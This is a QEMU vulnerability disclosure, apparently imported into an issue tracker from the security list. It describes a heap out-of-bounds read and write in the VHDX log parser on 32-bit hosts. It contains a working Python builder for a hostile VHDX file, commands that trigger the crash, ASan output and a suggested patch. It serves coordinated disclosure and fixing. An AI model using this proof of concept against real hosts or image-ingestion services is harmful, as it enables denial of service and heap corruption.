Imported by the "Security Issuer Importer" bot, on behalf of the original reporter who disclosed via qemu-security list: * From: `back_track527 <back_track527@proton.me>` * Date: `23 May, 2026` * Message ID: `<O0rNj4OtZEEz3Tgy-Mly5MTXoGORYuFv1Ds3BJnY_3bEtN8MDckRaNtgjSzyXANBM3A12DLSUfv7S9CBrLavfRuQahERGgxrJimJMfowuUQ=@proton.me>` **NOTE:** the original reporter can not be copied on this issue so cannot view this ticket while it remains marked confidential. If further information is needed about the disclosure, contact the reporter directly. ---- # Heap OOB read/write in QEMU VHDX log-replay parser via `descriptor_count` overflow (32-bit hosts) | Field | Value | |---|---| | Product | QEMU — `block/vhdx-log.c` | | CWE | **CWE-680** (Integer Overflow to Buffer Overflow); contributing CWE-190, CWE-704, CWE-122 | | CVSS 3.1 | `CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` = **8.1 High** | | Affected | QEMU 1.7.0 through current master (`f5a2438405`), **32-bit hosts only** (i386, armhf, mipsel, x32, ppc32, m68k, sparc32). 64-bit hosts unaffected. | | Functions | `vhdx_log_hdr_is_valid` (vhdx-log.c:218–257), `vhdx_compute_desc_sectors` (vhdx-log.c:320–331), `vhdx_log_read_desc` (vhdx-log.c:338–403) | | Prior art | **Sibling-file analogue of CVE-2014-0148**; the 2014 fix did not extend to `vhdx-log.c`. | ## Summary On 32-bit hosts (where `size_t = uint32`), `block/vhdx-log.c` performs two operations that overflow: 1. **Validator wrap** at line 249: `descriptor_count * sizeof(VHDXLogDescriptor)` is computed in `uint32` width. For `descriptor_count = 0x08000000`, the product wraps to `0` and the validator accepts an oversized count. 2. **Size truncation** at line 363: `desc_sectors * VHDX_LOG_SECTOR_SIZE` evaluates to an `int64` (4 GiB), then is implicitly truncated to `size_t` (uint32 = 4096) when passed to `qemu_try_blockalign(BlockDriverState *, size_t)`. The loop at line 381 then iterates `descriptor_count` (up to ~134 M) times indexing `desc_entries->desc[i]` past the 4 KiB allocation — heap OOB read at i=126, plus byte-swapped OOB write on big-endian hosts via the `convert_endian=true` path. A single open of a crafted VHDX file triggers the bug. Reachable through `qemu-img info`, `qemu-img check`, `qemu-nbd`, `qemu-storage-daemon`, `qemu-system`, and any caller that invokes these (libvirt autoprobe, OpenStack Glance/Cinder, virt-rescue). ## Vulnerable code ```c /* block/vhdx-log.c:249 — validator wrap */ if (hdr->descriptor_count * sizeof(VHDXLogDescriptor) > hdr->entry_length) { goto exit; /* on 32-bit size_t: product wraps */ } /* block/vhdx-log.c:320 — sector count */ static int vhdx_compute_desc_sectors(uint32_t desc_cnt) { uint32_t desc_sectors; desc_cnt += 2; desc_sectors = desc_cnt / 128; if (desc_cnt % 128) desc_sectors++; return desc_sectors; /* = 1,048,577 for input 0x08000000 */ } /* block/vhdx-log.c:362 — undersized allocation */ desc_sectors = vhdx_compute_desc_sectors(hdr.descriptor_count); desc_entries = qemu_try_blockalign(bs->file->bs, desc_sectors * VHDX_LOG_SECTOR_SIZE); /* int64 = 4 GiB, truncated to uint32 = 4096 */ /* block/vhdx-log.c:381 — OOB loop */ for (i = 0; i < hdr.descriptor_count; i++) { desc = desc_entries->desc[i]; /* OOB read for i ≥ 126 */ vhdx_log_desc_le_import(&desc); if (convert_endian) { desc_entries->desc[i] = desc; /* OOB write (BE only) */ } if (vhdx_log_desc_is_valid(&desc, &hdr) == false) { ret = -EINVAL; goto free_and_exit; } } ``` `VHDX_LOG_SECTOR_SIZE` is `(4 * KiB) = int64 4096` (via `include/qemu/units.h:13`'s `KiB = INT64_C(1) << 10`). The result of `desc_sectors * VHDX_LOG_SECTOR_SIZE` is therefore `int64`, but when passed to a `size_t`-typed parameter on a 32-bit host it truncates: `(int64)4,294,971,392 → (uint32)4,096`. `VHDXLogDescEntries` (vhdx-log.c:38) layout: 64-byte header followed by `desc[]`. Index 126 sits at offset `64 + 126·32 = 4096` — exactly one past the 4 KiB allocation. ## Trust boundary Untrusted on-disk image file → host process running `qemu-img` / `qemu-system` / `qemu-nbd` / `qemu-storage-daemon`. The bug fires before any sandbox is engaged; `qemu-img` and `qemu-nbd` are not seccomp-confined by default. `libvirtd` runs as root and shells out to `qemu-img info` during storage-pool refresh. 64-bit hosts are unaffected: `size_t = uint64` makes the validator multiplication 64-bit-safe and removes the size truncation. ## Proof of Concept ### Prerequisites - A 32-bit Linux host **or** a 64-bit host cross-compiling to i386 (instructions below assume the latter). - Python 3 — no third-party dependencies. - QEMU built with `--enable-asan` for clean stack-trace capture (the same PoC also crashes a stock production build via SIGSEGV). ### Cross-compile QEMU for i386 (from x86_64 Ubuntu/Debian) ```sh # Host-side build tooling sudo apt install -y build-essential git meson ninja-build pkg-config \ python3 gcc-multilib # i386 runtime libraries sudo dpkg --add-architecture i386 && sudo apt update sudo apt install -y libglib2.0-dev:i386 libpixman-1-dev:i386 \ libpcre2-dev:i386 zlib1g-dev:i386 libffi-dev:i386 \ libslirp-dev:i386 git clone https://gitlab.com/qemu-project/qemu.git && cd qemu mkdir build-i386 && cd build-i386 PKG_CONFIG_LIBDIR=/usr/lib/i386-linux-gnu/pkgconfig \ ../configure --enable-asan --enable-ubsan --disable-werror \ --disable-docs --disable-system --disable-user \ --disable-guest-agent --enable-tools \ --extra-cflags=-m32 --extra-ldflags=-m32 ninja qemu-img qemu-nbd file qemu-img # → ELF 32-bit LSB pie executable, Intel i386 ``` ### Hostile VHDX file builder ```python #!/usr/bin/env python3 # v1_build.py — hostile vhdx with descriptor_count=0x08000000 import os, struct, sys, uuid def crc32c(data, init=0xFFFFFFFF): POLY = 0x82F63B78 crc = init for b in data: crc ^= b for _ in range(8): crc = (crc >> 1) ^ POLY if (crc & 1) else (crc >> 1) return crc ^ 0xFFFFFFFF def msguid(u): b = u.bytes return struct.pack("<IHH", int.from_bytes(b[0:4], "big"), int.from_bytes(b[4:6], "big"), int.from_bytes(b[6:8], "big")) + b[8:16] VHDX_HEADER_SIG = 0x64616568 # 'head' VHDX_LOG_SIG = 0x65676F6C # 'loge' VHDX_LOG_DESC = 0x63736564 # 'desc' def build_header_block(seq, log_guid, log_off, log_len): fw, dw = msguid(uuid.uuid4()), msguid(uuid.uuid4()) hdr = struct.pack("<II Q 16s 16s 16s HH IQ", VHDX_HEADER_SIG, 0, seq, fw, dw, log_guid, 0, 1, log_len, log_off) buf = bytearray(hdr + b"\x00" * (4096 - len(hdr))) buf[4:8] = struct.pack("<I", crc32c(bytes(buf))) return bytes(buf) + b"\x00" * (65536 - 4096) def build_malicious_log_sector(log_guid, seq=1): entry_length = 0x1000 descriptor_count = 0x08000000 # ← the magic value hdr = struct.pack("<II II Q II 16s QQ", VHDX_LOG_SIG, 0, entry_length, 0, seq, descriptor_count, 0, log_guid, 0, 0) # 126 valid descriptors so loop reaches OOB at i=126 valid = struct.pack("<II Q Q Q", VHDX_LOG_DESC, 0, 0, 0, seq) sector = bytearray(hdr + valid * 126) sector[4:8] = struct.pack("<I", crc32c(bytes(sector))) return bytes(sector) def build(out): log_guid = msguid(uuid.UUID("deadbeef-1234-5678-abcd-1234567890ab")) log_off, log_len = 0x100000, 0x100000 file_id = b"vhdxfile" + b"\x00" * (0x10000 - 8) h1 = build_header_block(2, log_guid, log_off, log_len) h2 = build_header_block(1, log_guid, log_off, log_len) rt = b"\x00" * 0x10000 pad = b"\x00" * (log_off - 0x50000) log_buf = bytearray(b"\x00" * log_len) log_buf[0:0x1000] = build_malicious_log_sector(log_guid) with open(out, "wb") as f: for chunk in (file_id, h1, h2, rt, rt, pad, bytes(log_buf)): f.write(chunk) print(f"wrote {out} ({os.path.getsize(out)} bytes)") if __name__ == "__main__": build(sys.argv[1] if len(sys.argv) > 1 else "/tmp/hostile-v1.vhdx") ``` ### Trigger Any of these against the 32-bit ASan-instrumented binary: ```sh qemu-img info -f vhdx /tmp/hostile-v1.vhdx qemu-img check -f vhdx /tmp/hostile-v1.vhdx qemu-img check -r all -f vhdx /tmp/hostile-v1.vhdx qemu-nbd -r -p 10809 -f vhdx /tmp/hostile-v1.vhdx qemu-system-i386 -drive file=/tmp/hostile-v1.vhdx,format=vhdx,read-only=on \ -display none -nodefaults ``` ### Captured ASan output ``` ==38845==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf4204000 at pc 0x56abf4a6 READ of size 32 at 0xf4204000 thread T0 #0 vhdx_log_read_desc ../block/vhdx-log.c:382 #1 vhdx_validate_log_entry ../block/vhdx-log.c:627 #2 vhdx_log_search ../block/vhdx-log.c:694 #3 vhdx_parse_log ../block/vhdx-log.c:804 #4 vhdx_open ../block/vhdx.c:1044 #5 bdrv_open_driver ../block.c:1678 ... #12 collect_image_info_list ../qemu-img.c:3038 #13 img_info ../qemu-img.c:3184 #14 main ../qemu-img.c:6002 0xf4204000 is located 0 bytes after 4096-byte region [0xf4203000,0xf4204000) allocated by thread T0 here: #0 posix_memalign #1 qemu_try_memalign ../util/memalign.c:53 SUMMARY: AddressSanitizer: heap-buffer-overflow ../block/vhdx-log.c:382 in vhdx_log_read_desc ``` Confirms: 32-bit binary (`/lib/i386-linux-gnu/libc.so.6` in stack); 4096-byte allocation (truncation from int64 4 GiB confirmed); OOB READ of 32 bytes (one `VHDXLogDescriptor`) at offset 0 past the allocation; full stack through `qemu-img info` → `main`. The same PoC against a 64-bit qemu-img returns `Could not open ... Invalid argument` cleanly with no ASan report — the validator correctly rejects on 64-bit hosts. ## Impact | Sub-case | Reachable from | Primitive | |---|---|---| | 32-bit LE (i386, armhf, mipsel, x32) | Any open of hostile vhdx | OOB heap READ of 32 bytes (universally crashes process via SIGSEGV in production) | | 32-bit BE (ppc32, mips, m68k, sparc32) | RW open + log replay | OOB READ + byte-swapped OOB WRITE corrupting glibc heap metadata or adjacent QEMU objects | | Secondary (any 32-bit + RW + heap-spray) | RW open with shaped heap | Attacker-controlled file write to `bs->file` at chosen offset via `vhdx_log_flush_desc` consuming OOB-read descriptors | Realistic impact: universal DoS of any tool opening vhdx on a 32-bit host (including `qemu-img info` invoked by libvirt/OpenStack on user-uploaded images); heap corruption on big-endian 32-bit hosts; file-write to `bs->file` with exploitation work — in deployments where `bs->file` is shared (snapshot base, host-owned backing layer), a privilege-boundary crossing. Mitigations that do NOT prevent the bug: PIE, FORTIFY_SOURCE, stack-protector, `-sandbox on` (only in `qemu-system`), AppArmor/SELinux helper-invocation profiles, glibc safe-linking. Mitigation that does: build QEMU for a 64-bit host. ## CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` — **8.1 High** - AV:L: parsed file is local to the vulnerable process even when arriving from network upload. - AC:H: DoS angle is AC:L, worst-case primitives need heap shaping. - PR:N: file-format autoprobe / cloud-upload flows ingest without attacker auth on the vulnerable system. - UI:N: automatic ingestion / autoprobe. - S:C: vulnerable component (qemu-img parser) and impacted component (libvirt root daemon, snapshot files, host kernel) differ. - C:H/I:H/A:H: heap disclosure, heap corruption + file-write, crash. 64-bit-only deployments: environmental score = 0 (not applicable). ## Suggested fix ```diff --- a/block/vhdx-log.c +++ b/block/vhdx-log.c @@ -246,9 +246,10 @@ static bool vhdx_log_hdr_is_valid(VHDXLogEntries *log, if (!guid_eq(hdr->log_guid, s->headers[s->curr_header]->log_guid)) { goto exit; } - if (hdr->descriptor_count * sizeof(VHDXLogDescriptor) > hdr->entry_length) { + if ((uint64_t)hdr->descriptor_count * sizeof(VHDXLogDescriptor) + > hdr->entry_length) { goto exit; } ``` The `(uint64_t)` cast forces 64-bit arithmetic on every host width and closes the validator-bypass step. Optional defence-in-depth at the allocation site: ```diff @@ -360,6 +361,10 @@ vhdx_log_read_desc(BlockDriverState *bs, BDRVVHDXState *s, desc_sectors = vhdx_compute_desc_sectors(hdr.descriptor_count); + if (desc_sectors > log->length / VHDX_LOG_SECTOR_SIZE) { + ret = -EINVAL; + goto exit; + } desc_entries = qemu_try_blockalign(bs->file->bs, desc_sectors * VHDX_LOG_SECTOR_SIZE); ``` ## Disclosure plan - Notification: `qemu-security@nongnu.org`. Subject: `[CVE Request] Heap OOB in VHDX log parser on 32-bit hosts (descriptor_count overflow)`. - CVE via the QEMU security coordinator or GitHub Security Advisory on `github.com/qemu/qemu`. - 90-day embargo; co-disclose with the sibling V-2 advisory (`virtual_disk_size`) — single fix series covers both. ## References - **CVE-2014-0148** (commit `1d7678dec4`, 2014-03-26) — sibling-file prior art: *"vhdx: Bounds checking for block_size and logical_sector_size"*. The 2014 advisory bounded `block_size`/`logical_sector_size` in `vhdx_parse_metadata` (`vhdx.c`); the same class of bug in `vhdx_log_hdr_is_valid` (`vhdx-log.c`) was not addressed. - **Microsoft VHDX Format Specification v1.00** (Aug 2012), https://www.microsoft.com/en-us/download/details.aspx?id=34750 — §4 "Log Layout". - **CWE-680** — https://cwe.mitre.org/data/definitions/680.html - QEMU repo state at advisory: master commit `f5a2438405`, tagged `v11.0.0-1188-gf5a2438405`.